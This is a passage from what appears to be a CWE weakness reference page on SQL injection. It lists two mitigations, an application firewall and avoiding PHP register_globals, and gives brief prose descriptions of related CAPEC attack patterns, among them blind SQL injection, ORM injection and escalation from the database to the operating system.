Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-109: Object Relational Mapping Injection

An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.

CAPEC-110: SQL Injection through SOAP Parameter Tampering

An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.

CAPEC-470: Expanding Control over the Operating System from the Database

An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.

CAPEC-66: SQL Injection

This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.

CAPEC-7: Blind SQL Injection

Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.

← Back to the CWE list